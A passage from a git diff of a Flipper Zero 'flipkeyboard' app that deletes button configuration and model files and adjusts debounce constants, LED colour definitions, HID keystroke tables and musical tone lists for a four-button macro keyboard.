populate_variable_item_list(button_config, bm); - } - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief item_clicked is called when an item is clicked in the config menu. - * @details item_clicked is called when an item is clicked in the config menu. - * It determines which item was clicked and switches to the appropriate view, - * if the item has an editor. - * @param context The ButtonModel. - * @param index The index of the item that was clicked. -*/ -static void item_clicked(void* context, uint32_t index) { - ButtonModel* bm = (ButtonModel*)context; - uint8_t message_index = button_model_get_message_index(bm); - if(index == message_index) { - FURI_LOG_D("Flipboard", "Message index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - - text_input_set_header_text(button_config->text_input, "Enter message"); - if(button_model_get_message(bm)) { - strncpy( - button_model_get_temp_buffer(bm), - furi_string_get_cstr(button_model_get_message(bm)), - button_model_get_temp_buffer_size(bm) - 1); - } else { - button_model_get_temp_buffer(bm)[0] = 0; - } - - view_set_previous_callback( - text_input_get_view(button_config->text_input), - get_menu_callback(button_config->view_item_list_id)); - - text_input_set_result_callback( - button_config->text_input, - message_updated, - bm, - button_model_get_temp_buffer(bm), - button_model_get_temp_buffer_size(bm), - false); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_text_input_id); - - return; - } - - uint8_t keystroke_index = button_model_get_keystroke_index(bm); - if(index == keystroke_index) { - FURI_LOG_D("Flipboard", "Keystroke index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - - uint16_t keycode = 0; - button_model_append_keystroke(bm, keycode, 1); - - populate_variable_item_list(button_config, bm); - return; - } - - if(index > message_index && index < keystroke_index) { - uint32_t item = (index - message_index); - if(item % 2 == 0) { - FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); - return; - } - - item = item / 2; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - if(button_config->keystroke_selector == NULL) { - return; - } - - view_set_previous_callback( - keystroke_selector_get_view(button_config->keystroke_selector), - get_menu_callback(button_config->view_item_list_id)); - - Keystroke keystroke = button_model_get_keystroke(bm, (uint8_t)item); - keystroke_selector_set_key(button_config->keystroke_selector, keystroke.button_code); - button_model_set_temp_index(bm, (uint8_t)item); - keystroke_selector_set_callback( - button_config->keystroke_selector, keystroke_selector_callback, bm); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - - return; - } - - FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); -} - -/** - * @brief populate_variable_item_list adds the variable items to the list. - * @details populate_variable_item_list adds the variable items to the list. It starts - * by resetting the list. Then it adds the items based on the fields in the - * ButtonConfig and the ButtonModel. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. -*/ -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm) { - variable_item_list_reset(button_config->item_list); - uint8_t item_index = 0; - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorDown) { - populate_variable_item_list_color( - button_config, bm, "Press color", color_down_changed, button_model_get_color_down(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorUp) { - populate_variable_item_list_color( - button_config, bm, "Release color", color_up_changed, button_model_get_color_up(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldFrequency) { - populate_variable_item_list_frequency( - button_config, bm, "Music note", tone_changed, button_model_get_frequency(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldMessage) { - variable_item_list_add(button_config->item_list, "Message", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_message_index(bm, item_index); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & - ButtonModelFieldKeystrokes) { - item_index += populate_variable_item_list_keystrokes(button_config, bm); - variable_item_list_add(button_config->item_list, "Add Keystroke", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_keystroke_index(bm, item_index); - item_index++; - } -} - -/** - * @brief item_callback is called when a button is selected in the menu. - * @details item_callback is called when a button is selected in the menu. It - * sets the ButtonConfig in the ButtonModel. It then populates the - * VariableItemList with the settings for the button. Finally, it switches to - * the VariableItemList view. - * @param context The ButtonConfig. - * @param index The index of the button that was selected. -*/ -static void item_callback(void* context, uint32_t index) { - ButtonConfig* button_config = (ButtonConfig*)context; - FlipboardModel* model = button_config->model; - ButtonModel* bm = flipboard_model_get_button_model(model, index); - if(!bm) { - FURI_LOG_E("TAG", "Index=%ld bm=NULL", index); - } else { - FURI_LOG_D("TAG", "Index=%ld bm.button_id=%d", index, button_model_get_button_id(bm)); - } - - furi_assert(bm && button_model_get_button_id(bm) == index); - button_model_set_button_config(bm, button_config); - populate_variable_item_list(button_config, bm); - variable_item_list_set_selected_item(button_config->item_list, 0); - - if(button_config->view_dispatcher) { - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } -} - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. -*/ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t rows) { - ButtonConfig* button_config = (ButtonConfig*)malloc(sizeof(ButtonConfig)); - button_config->view_dispatcher = NULL; - button_config->model = model; - button_config->menu_buttons = submenu_alloc(); - button_config->view_menu_buttons_id = config_view_id; - button_config->text_input = text_input_alloc(); - button_config->view_text_input_id = 0; - button_config->keystroke_selector = - (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); - button_config->view_keystroke_selector_id = 0; - button_config->item_list = variable_item_list_alloc(); - button_config->view_item_list_id = 0; - view_set_previous_callback( - variable_item_list_get_view(button_config->item_list), get_menu_callback(config_view_id)); - - FuriString* button_name = furi_string_alloc(); - - bool single = flipboard_model_get_single_button_mode(model); - - int display_count = 0; - for(int i = 1; i < 16;) { - display_count++; - furi_string_printf(button_name, "Action %d (", display_count); - if(i == 15) { - furi_string_cat_printf(button_name, "all buttons"); - } else { - furi_string_cat_printf(button_name, "button"); - if(i != 1 && i != 2 && i != 4 && i != 8) { - furi_string_cat_printf(button_name, "s"); - } - furi_string_cat_printf(button_name, " "); - int btn = 0; - if(i & 1) { - furi_string_cat_printf(button_name, "1"); - btn |= 1; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 2) { - furi_string_cat_printf(button_name, "2"); - btn |= 2; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 4) { - furi_string_cat_printf(button_name, "3"); - btn |= 4; - if(btn != i) { - furi_string_cat_printf(button_name, ", "); - } - } - if(i & 8) { - furi_string_cat_printf(button_name, "4"); - btn |= 8; - } - } - furi_string_cat_printf(button_name, ")"); - submenu_add_item( - button_config->menu_buttons, - furi_string_get_cstr(button_name), - i, - item_callback, - button_config); - if(single) { - i = i << 1; - } else { - i++; - } - } - submenu_set_header(button_config->menu_buttons, "Configure Action"); - - return button_config; -} - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. -*/ -void button_config_free(ButtonConfig* button_config) { - if(button_config->view_dispatcher != NULL) { - if(button_config->view_item_list_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_item_list_id); - } - - if(button_config->view_text_input_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_text_input_id); - } - - if(button_config->view_keystroke_selector_id) { - view_dispatcher_remove_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - } - } - variable_item_list_free(button_config->item_list); - submenu_free(button_config->menu_buttons); - text_input_free(button_config->text_input); - if(button_config->keystroke_selector) { - keystroke_selector_free(button_config->keystroke_selector); - } - free(button_config); -} - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. -*/ -View* button_config_get_view(ButtonConfig* button_config) { - return submenu_get_view(button_config->menu_buttons); -} - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. -*/ -uint32_t button_config_get_view_id(ButtonConfig* button_config) { - return button_config->view_menu_buttons_id; -} - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. -*/ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher) { - button_config->view_dispatcher = view_dispatcher; -} - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. -*/ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_item_list_id = variable_item_list_view_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_item_list_id, - variable_item_list_get_view(button_config->item_list)); -} - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id) { - furi_assert(button_config->view_dispatcher != NULL); - button_config->view_text_input_id = text_input_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_text_input_id, - text_input_get_view(button_config->text_input)); -} - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id) { - furi_assert(button_config->view_dispatcher != NULL); - if(button_config->keystroke_selector == NULL) { - return; - } - button_config->view_keystroke_selector_id = keystroke_selector_id; - view_dispatcher_add_view( - button_config->view_dispatcher, - button_config->view_keystroke_selector_id, - keystroke_selector_get_view(button_config->keystroke_selector)); -} diff --git a/applications/external/flipkeyboard/common/button_config.h b/applications/external/flipkeyboard/common/button_config.h deleted file mode 100644 index a599d700126..00000000000 --- a/applications/external/flipkeyboard/common/button_config.h +++ /dev/null @@ -1,100 +0,0 @@ -#pragma once - -/** - * @file button_config.h - * @brief This file contains the ButtonConfig type and related functions. - * @details This file contains the ButtonConfig type and related functions. - * The button_config module is responsible for managing the configuration of a - * button on the Flipboard. When you press multiple buttons at the same time, - * it is treated as a virtual button (so there are really 15 buttons that can - * be configured). -*/ - -#include -#include -#include "keystroke_selector.h" - -typedef struct FlipboardModel FlipboardModel; -typedef struct ButtonConfig ButtonConfig; - -/** - * @brief Allocate and initialize ButtonConfig structure. - * @details Allocate and initialize ButtonConfig structure. Applications can - * pass in a list of keys to be used for the keystroke selector. - * @param model The FlipboardModel. - * @param config_view_id The view id for the configure view. - * @param keys The list of keys to be used for the keystroke selector. - * @param shift_keys The list of shift keys to be used for the keystroke selector. - * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is - * used for the number of columns. - */ -ButtonConfig* button_config_alloc( - FlipboardModel* model, - uint32_t config_view_id, - KeystrokeSelectorKey* keys, - KeystrokeSelectorKey* shift_keys, - uint8_t keyboard_rows); - -/** - * @brief button_config_free releases allocated resources. - * @param button_config The ButtonConfig to free. - */ -void button_config_free(ButtonConfig* button_config); - -/** - * @brief Get view of ButtonConfig structure. - * @details This function return view of ButtonConfig structure. It is used to add ButtonConfig - * view to ViewDispatcher. - * @param button_config Pointer to ButtonConfig structure. - * @return Pointer to view of ButtonConfig structure. - */ -View* button_config_get_view(ButtonConfig* button_config); - -/** - * @brief Get view id of ButtonConfig structure. - * @details This function return view id of ButtonConfig structure. It is used to add ButtonConfig - * view to the application menu. - * @param button_config Pointer to ButtonConfig structure. - * @return View id of ButtonConfig structure. - */ -uint32_t button_config_get_view_id(ButtonConfig* button_config); - -/** - * @brief button_config_register_dispatcher registers the ViewDispatcher. - * @param button_config The ButtonConfig. - * @param view_dispatcher The ViewDispatcher. - */ -void button_config_register_dispatcher( - ButtonConfig* button_config, - ViewDispatcher* view_dispatcher); - -/** - * @brief button_config_register_variable_item_list registers the VariableItemList. - * @details button_config_register_variable_item_list registers the VariableItemList. The - * VariableItemList is used to show the configuration of a button. - * @param button_config The ButtonConfig. - * @param variable_item_list_view_id The view id for the VariableItemList. - */ -void button_config_register_variable_item_list( - ButtonConfig* button_config, - uint32_t variable_item_list_view_id); - -/** - * @brief button_config_register_text_input registers the TextInput. - * @details button_config_register_text_input registers the TextInput. The - * TextInput is used to enter a message. - * @param button_config The ButtonConfig. - * @param text_input_id The view id for the TextInput. -*/ -void button_config_register_text_input(ButtonConfig* button_config, uint32_t text_input_id); - -/** - * @brief button_config_register_keystroke_selector registers the KeystrokeSelector. - * @details button_config_register_keystroke_selector registers the KeystrokeSelector. The - * KeystrokeSelector is used to select a keystroke. - * @param button_config The ButtonConfig. - * @param keystroke_selector_id The view id for the KeystrokeSelector. -*/ -void button_config_register_keystroke_selector( - ButtonConfig* button_config, - uint32_t keystroke_selector_id); diff --git a/applications/external/flipkeyboard/common/button_model.h b/applications/external/flipkeyboard/common/button_model.h deleted file mode 100644 index 1933d4cfcca..00000000000 --- a/applications/external/flipkeyboard/common/button_model.h +++ /dev/null @@ -1,245 +0,0 @@ -#pragma once - -/** - * @file button_model.h - * @brief This file contains the ButtonModel type and related functions. - * @details This file contains the ButtonModel type and related functions. - * The ButtonModel type is used to store the settings for a button, for - * example the color, frequency, message, and keystrokes. - */ - -#include -#include - -typedef struct ButtonModel ButtonModel; - -typedef struct { - uint16_t button_code; - uint8_t count; -} Keystroke; - -typedef enum { - ButtonModelFieldNone = 0, - ButtonModelFieldColorUp = 1 << 0, - ButtonModelFieldColorDown = 1 << 1, - ButtonModelFieldFrequency = 1 << 2, - ButtonModelFieldMessage = 1 << 3, - ButtonModelFieldKeystrokes = 1 << 4, - ButtonModelFieldAll = (1 << 5) - 1, -} ButtonModelFields; - -/** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. - */ -ButtonModel* button_model_alloc(uint8_t button_id); - -/** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. - * @param flipper_format The FlipperFormat to load from. - * @return The new button model. -*/ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format); - -/** - * @brief Frees a button model. - * @param model The model to free. - */ -void button_model_free(ButtonModel* model); - -/** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. - */ -uint8_t button_model_get_button_id(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is not pressed. - * @param model The model to get the color for. - * @return The hex color for when button is up. - */ -uint32_t button_model_get_color_up(ButtonModel* model); - -/** - * @brief Gets the HEX color when the button is pressed. - * @param model The model to get the color for. - * @return The hex color for when button is pressed down. - */ -uint32_t button_model_get_color_down(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for editing the message. - * @param model The model to get the message index for. - * @return The index of the menu item for editing the message. - */ -uint8_t button_model_get_message_index(ButtonModel* model); - -/** - * @brief Gets the index of the menu item for adding a keystroke. - * @param model The model to get the keystroke index for. - * @return The index of the menu item for adding a keystroke. - */ -uint8_t button_model_get_keystroke_index(ButtonModel* model); - -/** - * @brief Gets the temp buffer for editing the message. - * @param model The model to get the temp buffer for. - * @return The temp buffer for editing the message. - */ -char* button_model_get_temp_buffer(ButtonModel* model); - -/** - * @brief Gets the size of the temp buffer for editing the message. - * @param model The model to get the temp buffer size for. - * @return The size of the temp buffer for editing the message. - */ -size_t button_model_get_temp_buffer_size(ButtonModel* model); - -/** - * @brief Gets the index of the item being edited. - * @param model The model to get the temp index for. - * @return The index of the item being edited. - */ -uint8_t button_model_get_temp_index(ButtonModel* model); - -/** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. - */ -void* button_model_get_button_config(ButtonModel* model); - -/** - * @brief Gets the frequency for the button, in Hz. - * @param model The model to get the frequency for. - * @return The frequency for the button. - */ -float button_model_get_frequency(ButtonModel* model); - -/** - * @brief Gets the number of keystrokes for the button. - * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. - */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model); - -/** - * @brief Gets the keystroke at the given index. - * @param model The model to get the keystroke for. - * @param index The index of the keystroke to get. - * @return The keystroke at the given index. - */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index); - -/** - * @brief Gets the message for the button. - * @param model The model to get the message for. - * @return The message for the button. - */ -FuriString* button_model_get_message(ButtonModel* model); - -/** - * @brief Sets the HEX color when the button is not pressed. - * @param model The model to set the color for. - * @param color_up The hex color for when button is up. - */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up); - -/** - * @brief Sets the HEX color when the button is pressed. - * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. - */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down); - -/** - * @brief Sets the index of the menu item for editing the message. - * @param model The model to set the message index for. - * @param index The index of the menu item for editing the message. - */ -void button_model_set_message_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the menu item for adding a keystroke. - * @param model The model to set the keystroke index for. - * @param index The index of the menu item for adding a keystroke. - */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the index of the item being edited. - * @param model The model to set the temp index for. - */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index); - -/** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. - */ -void button_model_set_button_config(ButtonModel* model, void* button_config); - -/** - * @brief Sets the frequency for the button, in Hz. - * @param model The model to set the frequency for. - * @param frequency The frequency for the button. - */ -void button_model_set_frequency(ButtonModel* model, float frequency); - -/** - * @brief Sets the keystrokes and count for the button. - * @param model The model to set the keystrokes count for. - * @param index The index of the keystroke to set. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - * @return True if the keystroke was set, false otherwise. - */ -bool button_model_set_keystroke( - ButtonModel* model, - uint8_t index, - uint16_t button_code, - uint8_t count); - -/** - * @brief Appends a keystroke to the button. - * @param model The model to append the keystroke to. - * @param button_code The key code to send when this key is pressed. - * @param count The number of keystrokes for the button. - */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count); - -/** - * @brief Removes the last keystroke from the button. - * @param model The model to remove the keystroke from. - * @return True if the keystroke was removed, false otherwise. - */ -bool button_model_remove_last_keystroke(ButtonModel* model); - -/** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be - * be considered as empty string. - * @param model The model to set the message for. - * @param message The message for the button. - */ -void button_model_set_message(ButtonModel* model, const char* message); - -/** - * @brief Saves the button model to a FlipperFormat. - * @param model The model to save. - * @param flipper_format The FlipperFormat to save to. - * @param fields The fields to save. - * @return True if the model was saved, false otherwise. - */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields); - -/** - * @brief Loads the button model from a FlipperFormat. - * @param model The model to load. - * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) -*/ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipkeyboard/common/button_monitor.c b/applications/external/flipkeyboard/common/button_monitor.c index ec37569fe4b..6016025cd55 100644 --- a/applications/external/flipkeyboard/common/button_monitor.c +++ b/applications/external/flipkeyboard/common/button_monitor.c @@ -1,13 +1,11 @@ #include "button_monitor_i.h" -// Left to right order of the switches. +// Left to right order of the switches on the FlipBoard. const GpioPin* const pin_sw1 = &gpio_ext_pb2; const GpioPin* const pin_sw2 = &gpio_ext_pb3; const GpioPin* const pin_sw3 = &gpio_ext_pa4; const GpioPin* const pin_sw4 = &gpio_ext_pa6; -static int32_t button_monitor_worker(void* context); - /** * @brief Allocates a new button monitor. * @details Allocates a new button monitor. The button monitor @@ -90,8 +88,8 @@ static SwitchIds button_monitor_get_pin_status() { static SwitchIds button_monitor_get_debounced_pin_status() { SwitchIds pin_status = 0; uint32_t counter = 0; - furi_delay_ms(50); - while(counter < 100) { + furi_delay_ms(DEBOUNCE_WAIT_MS); + while(counter < DEBOUNCE_SAME_MIN_COUNT) { SwitchIds new_pin_status = button_monitor_get_pin_status(); if(pin_status != new_pin_status) { counter = 0; diff --git a/applications/external/flipkeyboard/common/button_monitor.h b/applications/external/flipkeyboard/common/button_monitor.h index c34db9d78a3..5ae9f151a1d 100644 --- a/applications/external/flipkeyboard/common/button_monitor.h +++ b/applications/external/flipkeyboard/common/button_monitor.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file button_monitor.h * @brief This file contains the ButtonMonitor type and related functions. @@ -9,6 +7,8 @@ * when a button event occurs. */ +#pragma once + #include #include diff --git a/applications/external/flipkeyboard/common/button_monitor_i.h b/applications/external/flipkeyboard/common/button_monitor_i.h index bd6da553ca2..e42ee93e9b4 100644 --- a/applications/external/flipkeyboard/common/button_monitor_i.h +++ b/applications/external/flipkeyboard/common/button_monitor_i.h @@ -5,6 +5,13 @@ #include "button_monitor.h" +// How long to wait after initial press is detected before sampling the switch. +// TODO: Can we decrease this so we are most responsive? +#define DEBOUNCE_WAIT_MS 50 + +// How many samples need to be the same before the switch is considered debounced. +#define DEBOUNCE_SAME_MIN_COUNT 100 + struct ButtonMonitor { // GPIO state from previous scan. SwitchIds last_pins; @@ -21,3 +28,5 @@ struct ButtonMonitor { // The context for the callback. void* context; }; + +static int32_t button_monitor_worker(void* context); diff --git a/applications/external/flipkeyboard/common/config_colors.h b/applications/external/flipkeyboard/common/config_colors.h index 868d208a795..39d10af97cb 100644 --- a/applications/external/flipkeyboard/common/config_colors.h +++ b/applications/external/flipkeyboard/common/config_colors.h @@ -1,14 +1,34 @@ -#pragma once - /** * @file config_colors.h * @brief The configuration of the colors. - * @details The configuration of the LED colors. Feel free to add more colors, - * but be sure to add them to the color_names and color_values arrays. + * @details The configuration of the LED colors. + * + * Define DEFINE_COLOR_NAMES_AND_VALUES if you want color_names and color_values arrays. + * Feel free to add more colors, but be sure to add them to the color_names and color_values arrays. */ +#pragma once + #include +/** + * @brief The HEX value of red, green and blue LED brightness + * (0xRRGGBB format). 00=off, FF=full brightness. +*/ +enum LedColors { + LedColorBlack = 0x000000, + LedColorRed = 0xFF0000, + LedColorOrange = 0xFF1F00, + LedColorYellow = 0xFF7F00, + LedColorGreen = 0x00FF00, + LedColorCyan = 0x00FFFF, + LedColorBlue = 0x0000FF, + LedColorViolet = 0x1F00FF, + LedColorMagenta = 0x7F00FF, + LedColorWhite = 0xFFFFFF, +}; + +#ifdef DEFINE_COLOR_NAMES_AND_VALUES /** * @brief The names of the colors. * @details The index of the color in this array is the same as @@ -27,23 +47,6 @@ static char* color_names[] = { "White", }; -/** - * @brief The HEX value of red, green and blue LED brightness - * (0xRRGGBB format). 00=off, FF=full brightness. -*/ -enum LedColors { - LedColorBlack = 0x000000, - LedColorRed = 0xFF0000, - LedColorOrange = 0xFF1F00, - LedColorYellow = 0xFF7F00, - LedColorGreen = 0x00FF00, - LedColorCyan = 0x00FFFF, - LedColorBlue = 0x0000FF, - LedColorViolet = 0x1F00FF, - LedColorMagenta = 0x7F00FF, - LedColorWhite = 0xFFFFFF, -}; - /** * @brief The values of the colors. * @details The index of the color in this array is the same as @@ -60,4 +63,5 @@ static uint32_t color_values[] = { LedColorViolet, LedColorMagenta, LedColorWhite, -}; \ No newline at end of file +}; +#endif \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/config_keystroke.h b/applications/external/flipkeyboard/common/config_keystroke.h index 8894dc702ee..5a52bc015bc 100644 --- a/applications/external/flipkeyboard/common/config_keystroke.h +++ b/applications/external/flipkeyboard/common/config_keystroke.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_keystroke.h * @brief The configuration of the keystrokes. @@ -13,16 +11,23 @@ * keystroke. This array should start at value 0, and increment by 1s. */ +#pragma once + #include /** * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as - * the index of the keystroke in the keystroke_names array. + * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ uint16_t keystroke_values[] = { HID_KEYBOARD_NONE, // Not mapped 1, // Delay + 0xF1, // Message 1 + 0xF2, // Message 2 + 0xF3, // Message 3 + 0xF4, // Message 4 // hid_keymap HID_KEYBOARD_L_CTRL, // HID_KEYBOARD_L_CTRL @@ -285,10 +290,10 @@ uint16_t keystroke_values[] = { HID_KEYBOARD_INTERNATIONAL_7, // HID_KEYBOARD_INTERNATIONAL_7 HID_KEYBOARD_INTERNATIONAL_8, // HID_KEYBOARD_INTERNATIONAL_8 HID_KEYBOARD_INTERNATIONAL_9, // HID_KEYBOARD_INTERNATIONAL_9 - HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 - HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 - HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 - HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 + // HID_KEYBOARD_LANG_1, // HID_KEYBOARD_LANG_1 + // HID_KEYBOARD_LANG_2, // HID_KEYBOARD_LANG_2 + // HID_KEYBOARD_LANG_3, // HID_KEYBOARD_LANG_3 + // HID_KEYBOARD_LANG_4, // HID_KEYBOARD_LANG_4 // HID_KEYBOARD_LANG_5, // HID_KEYBOARD_LANG_5 // HID_KEYBOARD_LANG_6, // HID_KEYBOARD_LANG_6 // HID_KEYBOARD_LANG_7, // HID_KEYBOARD_LANG_7 @@ -300,9 +305,10 @@ uint16_t keystroke_values[] = { * @brief The HID values of the keystrokes. * @details The index of the keystroke in this array is the same as * the index of the keystroke in the keystroke_names array. + * @note The VariableItemList has a max size of 255 entries. */ char* keystroke_names[] = { - "None", "Delay", + "None", "Delay", "Msg 1", "Msg 2", "Msg 3", "Msg 4", "L-CTRL", "R-CTRL", "L-SHIFT", "R-SHIFT", "L-ALT", "R-ALT", "L-WIN", "R-WIN", @@ -376,12 +382,9 @@ char* keystroke_names[] = { "F20", "F21", "F22", "F23", "F24", "INTL 1", "INTL 2", "INTL 3", "INTL 4", "INTL 5", "INTL 6", "INTL 7", - "INTL 8", "INTL 9", "LANG 1", "LANG 2", "LANG 3", "LANG 4", - // "LANG 5", - // "LANG 6", - // "LANG 7", - // "LANG 8", - // "LANG 9", + "INTL 8", "INTL 9", + // "LANG 1", "LANG 2", "LANG 3", "LANG 4", + // "LANG 5", "LANG 6", "LANG 7", "LANG 8", "LANG 9", }; /** diff --git a/applications/external/flipkeyboard/common/config_tones.h b/applications/external/flipkeyboard/common/config_tones.h index 2ecafc27fd9..c92a001dd3e 100644 --- a/applications/external/flipkeyboard/common/config_tones.h +++ b/applications/external/flipkeyboard/common/config_tones.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file config_tones.h * @brief Configuration file for the tones. @@ -9,6 +7,8 @@ * the same as the index of the tone in the tone_names array. */ +#pragma once + /** * @brief The frequency of the tones in HZ. * @details The index of the tone in this array is the same as @@ -65,6 +65,22 @@ float tone_values[] = { 1479.98, // F#6 1567.98, // G6 1661.22, // G#6 + 1760.00, // A6 + 1864.66, // A#6 + 1975.53, // B6 + // + 2093.00, // C7 + 2217.46, // C#7 + 2349.32, // D7 + 2489.02, // D#7 + 2637.02, // E7 + 2793.83, // F7 + 2959.96, // F#7 + 3135.96, // G7 + 3322.44, // G#7 + 3520.00, // A7 + 3729.31, // A#7 + 3951.07, // B7 }; /** @@ -72,8 +88,14 @@ float tone_values[] = { * @details The index of the tone in this array is the same as * the index of the tone in the tone_values array. */ -char* tone_names[] = {"Off", "C3", "C#3", "D3", "D#3", "E3", "F3", "F#3", "G3", "G#3", - "A3", "A#3", "B3", "C4", "C#4", "D4", "D#4", "E4", "F4", "F#4", - "G4", "G#4", "A4", "A#4", "B4", "C5", "C#5", "D5", "D#5", "E5", - "F5", "F#5", "G5", "G#5", "A5", "A#5", "B5", "C6", "C#6", "D6", - "D#6", "E6", "F6", "F#6", "G6", "G#6", "A6", "A#6", "B6"}; \ No newline at end of file +char* tone_names[] = {"Off", // + "C3", "C#3", "D3", "D#3", "E3", "F3", // + "F#3", "G3", "G#3", "A3", "A#3", "B3", // + "C4", "C#4", "D4", "D#4", "E4", "F4", // + "F#4", "G4", "G#4", "A4", "A#4", "B4", // + "C5", "C#5", "D5", "D#5", "E5", "F5", // + "F#5", "G5", "G#5", "A5", "A#5", "B5", // + "C6", "C#6", "D6", "D#6", "E6", "F6", // + "F#6", "G6", "G#6", "A6", "A#6", "B6", // + "C7", "C#7", "D7", "D#7", "E7", "F7", // + "F#7", "G7", "G#7", "A7", "A#7", "B7"}; \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/custom_event.h b/applications/external/flipkeyboard/common/custom_event.h index 0811287315b..c98690872b2 100644 --- a/applications/external/flipkeyboard/common/custom_event.h +++ b/applications/external/flipkeyboard/common/custom_event.h @@ 